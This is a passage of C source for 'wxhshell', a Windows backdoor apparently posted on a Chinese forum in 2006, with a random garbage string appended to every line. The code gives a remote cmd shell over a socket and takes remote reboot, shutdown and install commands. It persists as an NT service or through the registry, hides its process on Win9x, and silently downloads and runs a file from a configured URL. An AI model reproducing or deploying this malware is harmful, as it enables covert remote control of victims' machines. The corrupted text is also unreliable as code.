  } tV !?Ol  
  else { g8O6 b  
@43psq1  
    switch(cmd[0]) { <,CrE5Pl  
  U:8[%a  
  // 帮助 t7byOMC  
  case '?': {  G*z\ ^H  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 'K4FS(q  
    break; hywcj\[  
  } ^QNc!{`  
  // 安装 xM%4/QE+  
  case 'i': { tp`1S+'~j  
    if(Install()) ??F* Z" x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u1meys a{0  
    else VcKB:(:[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R;DU68R  
    break; Sf S3}Tn[  
    } |gE1P/%k  
  // 卸载 lcl|o3yQ  
  case 'r': { OZ\6qMH3e  
    if(Uninstall()) #Hrzk!&9   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L/"MRQ"  
    else >Y>R1b%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 811>dVq3/  
    break; #gbB// <  
    } 2.3_FXSt  
  // 显示 wxhshell 所在路径 [6a-d> e{  
  case 'p': { &_L%wV|[  
    char svExeFile[MAX_PATH]; l~E~!MR  
    strcpy(svExeFile,"\n\r"); Ef]Hpjvp  
      strcat(svExeFile,ExeFile); 3en 9TB  
        send(wsh,svExeFile,strlen(svExeFile),0); tA#Pc6zBuC  
    break; :|;@FkQ  
    } ^}+\52w  
  // 重启 >._d2.Q'  
  case 'b': { Uxjc&o  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); HoPpUq5,  
    if(Boot(REBOOT)) f3O6&1D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oz&`3`  
    else { LO=U?`)q  
    closesocket(wsh); \D|IN'!D  
    ExitThread(0); C6)Y ZC  
    } ~&RTLr#\*M  
    break; %jHm9{|X  
    } #I=EYl=Vvi  
  // 关机 CNN9a7  
  case 'd': { sqKx?r72  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); wqo:gW_  
    if(Boot(SHUTDOWN)) 2|;|C8C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m?(8T|i  
    else { [rx9gOOa&  
    closesocket(wsh); NifQsy)*%  
    ExitThread(0); M FIb-*wT  
    } cK'g2S  
    break; !Ubm 586!  
    } -+ByK#<%  
  // 获取shell -$8ew+  
  case 's': { zA5nr`  
    CmdShell(wsh); e \Qys<2r  
    closesocket(wsh); !@& 3q|  
    ExitThread(0); FW-I|kK.  
    break; J];Sj  
  } akvi^]x  
  // 退出 -+E.I*st  
  case 'x': { ^xHKoOTj[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Xc-["y64  
    CloseIt(wsh); YF{MXK}  
    break; .\caRb[  
    } "VZ1LVI  
  // 离开 y`RzcXblIZ  
  case 'q': { dgP e H8_  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); W'4/cO  
    closesocket(wsh); l>\EkUT  
    WSACleanup(); ^BF}wQb :j  
    exit(1); &ZD@-"@  
    break; 8xB-cE  
        } u[)X="-e#  
  } dWn6-es  
  } B''yW{  
^ 9+ Qxv  
  // 提示信息 v*.R<- X:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )=f}vHg$  
} O?OAXPK2  
  } jq H)o2"/  
&m3-][ !n  
  return; eDpi0htm  
} htB7 j(  
+;W%v7 %<  
// shell模块句柄 kQ>2W5o-d-  
int CmdShell(SOCKET sock) r6F TpOF  
{ llZU: bs  
STARTUPINFO si; {($bz T7c  
ZeroMemory(&si,sizeof(si)); {L;sF=d  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;VLDXvGd  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; v\@qMaPY  
PROCESS_INFORMATION ProcessInfo; 5[;[Te9=S  
char cmdline[]="cmd"; e_b,{l#  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ii+3yE@c  
  return 0; $U[d#:]  
} "5N4 of 8  
y11^q*}  
// 自身启动模式 1]If< <  
int StartFromService(void) oEX,\@+u  
{ Xy(QK2|  
typedef struct c=u+X` Q  
{ 4 $R!)  
  DWORD ExitStatus; ,g?ny<#o  
  DWORD PebBaseAddress; c';~bYZ  
  DWORD AffinityMask; Fu.aV876\f  
  DWORD BasePriority; jgE{JK\n4  
  ULONG UniqueProcessId; ]\yB,  
  ULONG InheritedFromUniqueProcessId; THwM',6  
}   PROCESS_BASIC_INFORMATION; 5.^pD9[mT  
w"0$cL3  
PROCNTQSIP NtQueryInformationProcess; br=e+]C Y)  
!sX$?P%U  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; jnqp" Ult>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; w9Yx2  
k*A(7qQA`4  
  HANDLE             hProcess; (GRW(Zd4  
  PROCESS_BASIC_INFORMATION pbi; ~k34#j:J65  
IGTO|sT"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ()6% 1zCO  
  if(NULL == hInst ) return 0; A'w+Lc.2  
"c[>>t  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4(\1z6?D  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :Ak^M~6a5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); D#<y pJR  
oVw4M2!"K  
  if (!NtQueryInformationProcess) return 0; %ZoJu  
n@`3O'S  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); '`upSJ;e  
  if(!hProcess) return 0; }!^h2)'7  
W $D 34(  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +(Y\w^@%H  
mywx V  
  CloseHandle(hProcess); .Vt|;P}  
K21Xx`XK  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1le9YL1_g  
if(hProcess==NULL) return 0; ZTTA??}Y  
W^elzN(  
HMODULE hMod; &3/`cl[+  
char procName[255]; $MasYi  
unsigned long cbNeeded; ~"S5KroN  
il >+jVr  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }F1Asn  
_A]jiPq  
  CloseHandle(hProcess); *?Eu{J){7%  
]yKwH 9sl  
if(strstr(procName,"services")) return 1; // 以服务启动 {W?!tD43"  
f #h0O3  
  return 0; // 注册表启动 KeyKLkg>  
} pJg:afCg  
`_vPElQXZ#  
// 主模块 Vc'p+e|(  
int StartWxhshell(LPSTR lpCmdLine) [%>*P~6nK  
{ m:Rx<E E  
  SOCKET wsl; 7eq.UyUxs  
BOOL val=TRUE; 3wN4kltt  
  int port=0; M}jl \{  
  struct sockaddr_in door; TJP;!uX  
7h9oY<W  
  if(wscfg.ws_autoins) Install(); T2-x1Sw_  
?Ho$fGz  
port=atoi(lpCmdLine); fXevr `  
>]}VD "\  
if(port<=0) port=wscfg.ws_port; RCqL~7C+ k  
3Dc^lfn  
  WSADATA data;  ~@@t-QY  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ip'v<%,Q3"  
-T+yS BO_3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   J>dj]1I  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); e77s?WxbK  
  door.sin_family = AF_INET; Ew}GPJ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); H?opG<R=ek  
  door.sin_port = htons(port); fx 08>r   
w 8o?wx*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { I-.? qcy~  
closesocket(wsl); gu3)HCZ  
return 1; >`3 0 ib  
}  qjfv9sU  
^ &KH|qRrO  
  if(listen(wsl,2) == INVALID_SOCKET) { XF{2'x_R  
closesocket(wsl); LzXIqj'H7T  
return 1; N0fE*xo  
} j+< !4 0#  
  Wxhshell(wsl); 1slt[&4N  
  WSACleanup(); Y\!:/h]E&  
m$Tt y[0  
return 0; /XRgsF  
^umHuAAE  
} }J5iY0  
unL1/JY z  
// 以NT服务方式启动 R U[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) FlS)m`  
{ ?Wt_Obl  
DWORD   status = 0; Rpcnpo  
  DWORD   specificError = 0xfffffff; jbOzbxR?  
'H1"z!]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; + $~HRbo  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; AO$aWyI  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^1}ffE(3>  
  serviceStatus.dwWin32ExitCode     = 0; (I`< ;  
  serviceStatus.dwServiceSpecificExitCode = 0; hy"p8j7_  
  serviceStatus.dwCheckPoint       = 0; x2i`$iNhmP  
  serviceStatus.dwWaitHint       = 0; Fo"' [`  
/C<} :R  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); jP @t!=  
  if (hServiceStatusHandle==0) return; Rx<[bohio  
$AFiPH9  
status = GetLastError(); /-pop]L  
  if (status!=NO_ERROR) RmN\;G?}  
{ "2"*3R<Y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; )fZ5.W8UE]  
    serviceStatus.dwCheckPoint       = 0; G`!;RX  
    serviceStatus.dwWaitHint       = 0; A&'HlI% J  
    serviceStatus.dwWin32ExitCode     = status; (aCl*vV1  
    serviceStatus.dwServiceSpecificExitCode = specificError; J! eVw\6  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); nfvs"B;  
    return; Z.LF5ur  
  } S67T:ARS  
FHH2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; = &aD!nTx  
  serviceStatus.dwCheckPoint       = 0; [TV"mA  
  serviceStatus.dwWaitHint       = 0; (Gxv?\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :kI x?cc  
} dR /UXzrc  
sXC]{] P  
// 处理NT服务事件,比如:启动、停止 ZsPBs4<p  
VOID WINAPI NTServiceHandler(DWORD fdwControl) h$zPQ""8  
{  K[TMTn  
switch(fdwControl) &9] [ ~$  
{ .J\U|r  
case SERVICE_CONTROL_STOP: >-y&k^a=  
  serviceStatus.dwWin32ExitCode = 0; <Q-ufF85)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Mz{ Rh+gS  
  serviceStatus.dwCheckPoint   = 0; :S7yM8 b`  
  serviceStatus.dwWaitHint     = 0; =Jl1D*B*  
  { Pq7tNM E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Zk;;~ESOU  
  } kk5i{.?[  
  return; XKU=VOY  
case SERVICE_CONTROL_PAUSE: vrW9<{  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; k0D&F;a%  
  break; ! xqG-rd '  
case SERVICE_CONTROL_CONTINUE: kAk,:a;P  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; R QO{fC  
  break; NtOR/*  
case SERVICE_CONTROL_INTERROGATE: Mw5!9@Fc7  
  break; "AVj]jR  
}; k~?}z.g(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v <Ze$^ e&  
} )J88gMk+  
RBgkC+2  
// 标准应用程序主函数 a m zw  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;09J;sf  
{ |]\bgh  
+[ }]a3)  
// 获取操作系统版本 _&![s]  
OsIsNt=GetOsVer(); zB]T5]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &Y=NUDt_  
ujWHO$uz!  
  // 从命令行安装 ?h3Ow`1G  
  if(strpbrk(lpCmdLine,"iI")) Install(); K ;xW/7?  
sBu"$ "]  
  // 下载执行文件 hA\8&pI;  
if(wscfg.ws_downexe) { yRi/YR#  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Q#r 0DWo\  
  WinExec(wscfg.ws_filenam,SW_HIDE); Y@\5gZ&T  
} =,]J"n8|v  
h5l Lb+  
if(!OsIsNt) { Gf]s?J^a  
// 如果时win9x,隐藏进程并且设置为注册表启动 Pd;ClMa%  
HideProc(); |f}NO~CA  
StartWxhshell(lpCmdLine); &lS0"`J=  
} tx1jBh:e=  
else X5/{Mx`8Oz  
  if(StartFromService()) S&uL9)Glb  
  // 以服务方式启动 I~qiF%?d  
  StartServiceCtrlDispatcher(DispatchTable); 4K;j:ZJ"x  
else v_@_J!s  
  // 普通方式启动 6uXYZ.A  
  StartWxhshell(lpCmdLine); :d2u?+F  
KE&}*Nf[  
return 0; qtH&]Suu,  
}
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只看该作者 1 发表于: 2006-10-10
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